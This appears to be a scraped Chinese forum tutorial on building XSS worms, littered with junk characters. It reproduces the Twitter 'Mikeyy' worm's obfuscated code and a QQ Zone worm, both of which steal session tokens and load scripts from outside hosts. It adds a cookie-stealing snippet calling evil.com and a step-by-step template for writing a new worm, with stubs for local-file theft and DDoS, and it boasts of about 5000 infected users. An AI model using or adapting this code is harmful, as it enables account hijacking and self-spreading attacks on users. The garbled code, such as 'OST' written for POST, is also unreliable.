2 w0 d& k# h0 Y; F复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

3 N/ A% m( I2 @var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

) f" g' H# a- K. }3 K

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
5 N) K6 w2 H" b( e
0 U* r3 K" k, j( I<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
7 ?1 E6 {" r3 g. Z% i3 L第一版:
% Q* o& r$ W# W& V2 p. R& ~  下载 (5.1 KB)

6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
2 ?4 y0 ~" s8 \2 k5 l
   2.   
$ [6 L/ f7 \4 e8 y
   3. function XHConn(){  
. e4 R0 e" [6 ?8 \; i$ p
/ z' h( i, V0 `; u# Q  J2 i. P   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

. G: p  p, E3 y; T   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

. s0 k0 w; E8 t# L# m   8.   catch(e) { _0x6687x2=false; }; }; };  
& F" }: j9 ]0 T$ E复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

& q+ I# }4 x& `2 ~- C; C$ L   3.   var tmp_cookie=document.cookie;  
( h8 L* d# B/ {
' p8 j. U4 c$ f2 M$ r   4.   var tmp_posted=tmp_cookie.match(/posted/);  
$ w# |% N# _- {
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

5 w7 H- I/ g8 P) w- e9 \' h   6.   var authtoken=authreg.exec(content);  
. W; D" y9 e" F. ]2 P4 w
   7.   var authtoken=authtoken[1];  

; }$ X% l! L. L* H& }' J5 o   8.   var randomUpdate= new Array();  

( n! Z7 d: Q7 c* w' H( k* D   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

5 }: @/ }8 {0 k* Y& @: N  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
$ c2 U8 x  v* I: N
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
" I6 i- R1 c$ C# `
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
% E4 z8 B9 K  E9 a
9 Z# c" v5 W! s1 D2 F  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  d$ t! v$ l0 X. L  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
2 R3 E* C2 B  c# i+ k% h+ G  ]9 l
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

' X1 `6 \! b2 ?* a5 Q4 O3 F/ \  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
. F6 M! y  a2 k" t# d" g
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

% [5 q& I, t* o& {/ N, z4 I  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

- s/ P2 Z' D' y& Y. t* h  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
1 B1 i  I, q, k) W  K# o
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
9 g) v/ o7 y9 H6 i/ r4 [  i
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
9 \* h2 e7 D% `
, S4 S/ j( Q$ z1 b6 Y  M! D( G  24.     

! `) m, ?$ ^9 K. `, p) Q  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
3 y# m1 j- W6 c
2 U2 Y' @$ x9 S  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
6 p1 i0 y" [: k
  27.     
3 I/ H7 A) {# P7 q) T
  28.   var ajaxConn= new XHConn();  

5 M2 Q( o4 @3 u' g' o  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

: ], E7 l! C8 c/ W  30.   var _0xf81bx1c="Mikeyy";  
) \( J! p3 V7 d8 `/ z$ B, \% ]
- b0 \) @0 f  h  31.   var updateEncode=urlencode(_0xf81bx1c);  
* ]# f& S; P0 _, l/ T/ N6 W
$ p1 G: x+ P$ U  I2 L  32.   var ajaxConn1= new XHConn();  

1 S* |: s& ]/ p* {$ n; x  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
" o) I7 j3 G- P: d# b, n
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

7 J* V, W! T5 m: j  35.   var XSS=urlencode(genXSS);  
' w  |( {; p9 }
  36.   var ajaxConn2= new XHConn();  
; \* H; N% S9 a+ b
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
. ^5 y. Q: t0 q& G- f- H. A& B
% X  |' N" w6 s  _. \) g  38.     

/ j1 y) N/ G# R0 F5 [: R  39. } ;  

  40. setTimeout(wait(),5250);  
1 d% n8 e' P1 W! V: @$ c) n8 s复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;


4 @: X$ @# G4 t, `5 n1 }& o
$ ^: o1 f$ W: l/ F9 pvar shendu;shendu=4;

//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
( x( Q. m5 q& A
* ?% i& K% k- z8 j. [- J+ F3 d: Uvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

8 C$ u/ p8 x9 V* [        var gurl=document.location.href;

2 q( _) P% K5 z7 j/ r        var gurle=gurl.indexOf("com/");
& M1 n8 |, O0 R$ y) n
        gurl=gurl.substring(0,gurle+3);        
7 f$ X: z! b% A* h2 b9 y
        var visitorID=top.document.documentElement.outerHTML;
! V( L; s) x5 |! ?1 B
$ X- A. n8 w9 x1 E% F" c8 V8 B           var cookieS=visitorID.indexOf("g_iLoginUin = ");

9 T+ B8 A  N! }% y$ e% J        visitorID=visitorID.substring(cookieS+14);

. ^# R: {* G/ c        cookieS=visitorID.indexOf(",");
  ]/ l+ X7 z& ]  s
: w/ _7 M3 V" |7 P" x4 ~        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
  V' U. y" h# H: P8 a3 P
        DOshuamy();
) W" ?5 v* [  b" `7 K


//挂马
; K" V% u% m0 \. J7 R) i+ d: T# s
& C$ m& E/ n- X4 D* q) Vfunction DOshuamy(){
$ z. D5 M1 m4 C  O
- J+ I0 v0 T, `' ^var ssr=document.getElementById("veryTitle");

% B2 s7 F' W$ p$ }* l) ^' Lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
; }0 {# M6 s, g4 ?0 l3 p
: C, K% C: A! q( I$ ~}
; \! S. c$ z! D

3 u$ X  L/ `6 i% c. q
3 c" S, f' B: q5 B+ @8 i" S" W//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
* j' R. K; k' `/ x0 f4 w( W% @
function get_my_blog(visitorID){
  n, r6 ^# K& K1 R$ w+ a, M9 l
1 D0 i3 z. C) R) _& U   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
- {1 s5 B/ G, ~/ d
   if(xhr){    //成功就执行下面的
; l5 [$ R# R  }2 Z
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
7 P9 Y2 I3 D! |  N
9 I0 W3 I; T8 N7 |* S. T% b     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

    }
1 r1 U; y" L0 I; |+ \- d
}
, j6 b6 r, F  M1 e9 |  j

3 U. m. p$ W5 |
//这里似乎是判断没有登录的
$ m% k% y9 u4 z5 t2 Q
( V: K/ T% T) e1 v8 y% o& Gfunction get_my_blogurl(guest){

8 e  h) E+ V9 |7 d9 s6 b3 }  var mybloglist=guest;

% r; k5 x( H; r- a4 D  var myurls;var blogids;var blogide;
3 Q# c, {2 ^4 M8 D( L) ?2 K. t3 P
. A# u! Z% P, @" P# d7 q  for(i=0;i<shendu;i++){
! L& |( b; N* j/ G
7 I6 t- a+ V) `1 h8 n$ k     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
+ S$ L, c& ?  T% {( @# i
     if(myurls!=-1){    //找到了就执行下面的

, P9 _/ R9 L3 f5 a         mybloglist=mybloglist.substring(myurls+11);
3 ]( X2 F3 Y6 |+ g3 [) L
6 K, [( F! ?! Q5 W  ?7 z         myurls=mybloglist.indexOf(')');

$ @' o! m' C7 K1 s2 t9 X         myblogid=mybloglist.substring(0,myurls);
3 \# K0 J" }% Y1 Y3 }
        }else{break;}
1 L+ J/ G2 _' g! E5 l) W7 L7 p
}

  e& Q, U! r9 ~9 p' p0 F3 V+ [, eget_my_testself();    //执行这个函数
$ I' E: _2 W; V8 F! W3 K
& L2 Y2 Z/ O" a; n" q8 K}

+ m5 M  X' h- o; t2 N5 f4 _# D  S
" e, l: {! H: p8 ?" z
% U( h6 T  j6 C7 g6 t  s+ O2 l//这里往哪跳就不知道了

function get_my_testself(){

5 R% Q9 K) u4 K  for(i=0;i<myblogid.length;i++){    //获得blogid的值

, j3 @( h% w. G3 o) |: h      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
9 D. D; R" Y4 u3 R+ H) G
              xhr2.open("GET",url,false);     //打开上面的那个url

! y4 V# q0 U1 m. ?/ n3 y              xhr2.send();
+ B6 S7 j5 I7 x5 }) o  \' r
              guest2=xhr2.responseText;

' ^6 y# t: u; [, h6 [  y              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
9 I6 V5 n0 X3 o6 Q5 `  j
  Z6 b: R: N' N1 W0 [              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
9 M) ^+ }; G% B; g8 i
5 d$ p4 i6 C9 r* K7 t3 e+ ?              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

" J) v' j. m- n$ f, L4 e. b                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
/ Q2 M. V4 Z2 c! U( F
                break;

7 P$ \' d/ c# f' a3 ]               }

5 N3 @% |0 {! |, _& [; [              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
, X2 t: P( h3 @# R% t) S
9 o3 u6 L8 G3 \! N                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
2 g" D5 O5 `  r8 L8 p# b* B% c
               }
, S; x" y' y  t. U9 ~1 @# w. K
% N6 \- B  q8 |1 \, i: x- S        }      
! m1 T7 N, D) A* e2 o6 j
- ]  x* y( w  I$ e4 |: C}
+ X  k- v! W8 I. G
# c  W9 I* s( Q) M& Y5 n% V}


! W# ~' u5 G9 `# \; u& t
//--------------------------------------  
: H8 [6 e) ^' i9 B% H
" \+ w! x2 ~' i//根据浏览器创建一个XMLHttpRequest对象
% t9 d% G% m% b3 o
' g" M* A) p" y! O. y& y( C! s1 ffunction createXMLHttpRequest(){
/ |5 E. j) V) i( |/ ^2 J( ]
9 T- F: C5 ~4 L, b6 W    var XMLhttpObject=null;  
$ a5 K# ], c7 q  Q
+ K9 ~  Y2 V1 u( C0 }' w    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
6 x& e6 b1 a0 F) J1 L  ^& v
) Q6 C# b% I- l- r+ A    else  
4 Q+ ^- N  R; H" ^! q, a, k( v* Y5 p
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
9 b0 C6 @% y5 R6 j3 Z
        for(var i=0;i<MSXML.length;i++)  

' u, D+ U1 A, S) C& W3 o" M" T        {  

* o; k4 `0 a9 I5 w* Y            try  
% F( ^: n  Z- f, M! F
" {; [8 @4 N8 ^1 d$ i/ d& Q            {  
: z9 v1 O  K+ \& n* F1 O" k# U
                XMLhttpObject=new ActiveXObject(MSXML);  
, z3 ^: a2 J3 h! E: K
                break;  

$ i2 p$ ^$ s0 y# c            }  
1 n* E3 e  g5 `2 r3 c& t/ k! t9 ~9 e
            catch (ex) {  

. P/ {6 n4 g- {            }  

6 c1 B- r5 x5 n) g5 E  l         }  

) s2 u! j' ~1 z, W      }
2 ^. m4 U0 T5 ?+ X9 e
: J! k# H7 ~- O7 K5 {0 zreturn XMLhttpObject;

0 }5 j* ]8 r' w}  


' b( d1 L1 p0 o  G7 S* x# l0 K
//这里就是感染部分了
' E. y0 j  t# d3 M' h+ Z
+ s7 [' L* B( g1 Hfunction add_js(visitorID,targetblogurlid,gurl){
5 M! C) s* @2 X2 q5 c1 E0 q
4 s) |. I  K0 t6 _7 {. b" o3 Uvar s2=document.createElement('script');
5 n& F- X8 B5 E" o: K+ t- O! F
- E& z# ]4 H: u4 C2 ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
; |% b$ r. A- ~5 o5 r0 e+ K
& H3 V1 p# ~+ L; R8 I& \}


/ @1 }( J  F" [  G: L* Y
1 b" w8 F2 V" u; ifunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
* i$ q( W/ o5 N7 y9 X: @
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
8 z( u. C( N  F
* ?2 z* V# D( A/ y" L% Rs2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
+ ]' Q( V; t" X- x$ ^
. O/ X3 [! [' e1 I2 y5 A* `% R5 m/ |}
: g* n/ a% q8 O$ z复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
( A7 f$ C2 M* w) l" a2 B; t1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
* L( w- o+ z) y4 S! @
" R/ d& [5 `3 f) {/ A2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
. [: F' R2 O4 Q# [& e. H
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
4 d& }% b# }" Q6 \# }' J

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

3 K0 I: P! a  [6 x3 D. Aif(window.XMLHttpRequest) {
. y) t5 V% k" ~
5 p& A9 ?/ G9 S- A2 A- o) `1 Arequest = new XMLHttpRequest();
/ D' ^& ~+ v  A6 G1 X
) t' @1 {/ Y( {- e  ~+ T$ _1 Kif(request.overrideMimeType) {
* p$ c6 N8 K" @! H4 E- A
. G+ M) y8 u3 Zrequest.overrideMimeType('text/xml');
. b4 i# ~. r/ m' \: F0 f/ Z
8 r" k: P. w. L4 j! @5 i3 b1 w}

} else if(window.ActiveXObject) {

% Z' n. h6 q4 O9 f; Vvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);

} catch(e) {}

. I. P8 f  N3 W* x% |5 n}
$ @* S9 D+ f% o  `3 m8 P
  |/ H2 f3 }, x* r  H3 E. c' J}
: |9 L; k6 x4 ~- C& [8 |
; |4 y2 q9 f; `( c6 oxmlHttpReq=request;
4 f9 I0 v5 t( j/ U$ R复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

1 O- @# R2 ?+ s/ Y$ J8 y( E        var Browser_Name=navigator.appName;

1 L, V) q0 {, M+ Q+ P# H; \' K        var Browser_Version=parseFloat(navigator.appVersion);
9 S; ]- b8 m  x/ ^
. z3 t6 D; M* x: P' a7 O8 |  ~        var Browser_Agent=navigator.userAgent;

        

        var Actual_Version,Actual_Name;
+ \! a3 [8 H. u: v& K
        
2 a3 B$ K  p2 z" N6 ~  F
% p2 P1 C- M0 s7 I4 i( @& Z        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

1 G8 ~: v5 s1 g        var is_NN=(Browser_Name=="Netscape");
4 j$ J" ]" H2 G6 N
+ u: N  {7 G9 [8 p* z5 |        var is_Ch=(Browser_Name=="Chrome");

        
; C, S" t+ }* ?
        if(is_NN){
- X/ [7 V$ E4 d2 v7 a5 c
" J% w1 G/ d) v1 G9 ^) T6 H            if(Browser_Version>=5.0){
% _8 p, C- z/ Q% w
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
. I' a; s* ?" X5 d( j0 E
- P. N! Q! A8 T3 k# X! K. s                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
+ T& C: X( k0 E

! i8 R0 ?$ D' g8 ^' y
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
/ I$ o+ U8 v3 r* M' q3 ]' h
8 c, F* u3 w! m0 T( w+ k/ u                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

8 `1 q8 b1 b5 `2 b. c5 d9 R* |: I+ O9 |            }
8 Y# `6 C5 k; o' [
            else{
1 w; h5 j7 C+ v. B/ [
$ W6 `1 A9 Z( J3 n* O                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
9 i* @* b; N# [6 I) L: s# Q
            }
$ x: o2 J  n* v" G6 e  \* j
6 H1 z3 @, X& `) ^$ c. T        }

* `+ v3 V! a9 S$ n        else if(is_IE){
, {5 k2 A" Y8 d, x& f( R- l
            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
! B0 g% t) ~6 d! t
            Actual_Name=Browser_Name;
" ^5 Y$ Z6 W8 ]; Z. Y; I
! f% B: M# [  }! [  A            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
7 q4 A$ l4 ^7 @- b1 c+ ?# x  o! K- I
7 L2 Y/ ]+ ~7 h- a                Actual_Name+="(Maxthon)";

            }

5 h; J: q5 R2 Y/ U$ n2 i3 D; a" x# S, o            else if(Browser_Agent.indexOf("Opera")!=-1){
" w0 E$ ^" o2 X3 d$ s
- |( C8 S$ [' h3 [                Actual_Name="Opera";
" @; J* ^- c! T( q( i
, T; a& e: [5 {' T0 o, z+ V                var tempstart=Browser_Agent.indexOf("Opera");
, N2 N% c5 }% y6 B7 Y
$ m4 C" `* C" ^; V. B6 {                var tempend=Browser_Agent.length;

. N7 t, v% v+ x( C! n! f# m                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 s! t* I! }" f5 J2 k# h
            }
7 [$ S1 V% ^9 v9 g8 c( `
' Y3 c7 u) G6 V$ {  q. c9 A        }
8 F5 c  v# I# L+ n+ r$ [5 v7 C" v0 @
        else if(is_Ch){
4 p+ }( R7 r$ a
            var Version_Start=Browser_Agent.indexOf("Chrome");
0 ?+ U, \: O. R8 A
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
1 s, U9 \1 t& `) x' }
* h6 A/ N" b7 [9 I            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
; m# T4 Q; A* l: V
: ^' `, Y  v9 `/ L. t# y            if(Browser_Agent.indexOf("Maxthon")!=-1){

. S/ G( G! c  `( g                Actual_Name+="(Maxthon)";
$ x$ F6 T% z+ v
$ D$ o  a2 g) D1 K7 H3 x/ [            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
4 S6 s0 _9 i) t5 R$ [
                Actual_Name="Opera";
; c* a$ a1 p" N0 j  Y( O
9 C3 ^% O' y+ ^: s- d3 i0 E                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

9 P! t1 b4 Q' o. i$ H0 y* W                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

: W% B' y8 `; @$ h% B2 w4 O; P4 S. o            }
& \' v" @3 t* p" u* P& w# J
        }
) _6 o' a* l- J0 ?
' `: Q3 Y. d- a- k# t        else{

6 h+ U' @' n, j4 P! T/ M            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"
; U5 `9 k* I! f) m4 ]: `
        }
3 ^3 s2 N$ B( ]3 t% T8 [. w
# D4 k# h0 I- w1 o6 r% K
" ?4 m: Q- N( p! y$ A2 |
        navigator.Actual_Name=Actual_Name;
6 j: J0 A# e6 ~0 x8 F0 `
        navigator.Actual_Version=Actual_Version;

        

% I- D% ]+ _# e+ h8 P4 L        this.Name=Actual_Name;
) M1 r+ a& r& x
        this.Version=Actual_Version;

    }
* P- G6 f/ l7 A9 T8 X2 C! f" L# ]
# I$ ]/ z7 B- J8 ^  D) l    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
2 H$ C: F4 ]( F. P/ I
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
' {" t# P+ w5 H5 P4 X8 G
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
4 I/ b* F3 ~3 A. j% u8 @: M复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
: g3 r( p' h. |4 c% w; ?* k& V( M复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

3 q) @, M8 e  N: [4 |5 MxmlHttpReq.send(null);

1 ~& O+ D$ d/ e  z9 J* Pvar resource = xmlHttpReq.responseText;
3 P" @+ ]0 n. A4 E$ L/ |8 S$ n
: W6 W6 d7 \: f( \4 `. O. Fvar id=0;var result;
- P0 B, N6 E% U0 U/ Q+ w1 o7 r: E
: S7 S. o) }) d$ w* M9 R! Cvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

id++;
# c( I) |! h4 A5 Y* f2 a. n
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
$ ?& a! M" x' L7 L* N0 r9 Z
no=resource.search(/my name is/);

- q  \" h* H2 a2 i1 u- kvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
3 u1 \2 e" n! U5 {! G+ Z+ D( w
4 P# ^/ |7 [4 \& l% ]! Bvar post="wd="+wd;
" a3 i& H9 i- L* s( j3 F
* S' ]$ R9 F7 Y( ]& ]8 Q/ _xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

5 N5 o1 J, g) Q# UxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

& R' N- [. @! d" M- _- ]xmlHttpReq.setRequestHeader("content-length",post.length);

, U5 ]* X' W3 bxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
8 K. M  [- B" T9 C: o
xmlHttpReq.send(post);
& s+ Z$ K5 a: N& A1 I( N* U8 T
  K* w. B+ e  p, ^& ?}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
0 U! p- a7 _. D1 G% ]  ?
& @0 N8 s0 y8 [' J2 V! r( g2 h6 zvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
) P! }) k" |/ T( k% b
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
8 d! x* y! H- u2 c) G
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
7 U/ y% C0 D$ q6 ]) G1 e1 s
/ G# y, z  ]! o. h1 Y8 Tvar post="wd="+wd;
8 G7 i! M0 F: n
4 X+ M- }4 ^9 a! i- NxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
* u' O' ]/ w( D7 h
8 L- r3 r+ z' v1 O3 B% _+ txmlHttpReq.setRequestHeader("content-length",post.length);
6 I6 g4 I( R4 @0 T; ]: i3 t  q' x
  @* ?% M4 _: Q( Y& xxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
0 l; k: r1 C6 f* G
8 |" l3 I+ U8 {xmlHttpReq.send(post);                 //把传播的信息 POST出去.
5 [6 y& o: O- k
8 P( T- p' n5 D7 O. Q}
! p* }" Q# V$ F$ `* Y复制代码-----------------------------------------------------总结-------------------------------------------------------------------


) V9 [$ R, {$ c: l3 h2 B4 J/ m
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
( x! w# G- {" Z8 z5 Q- c! d蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
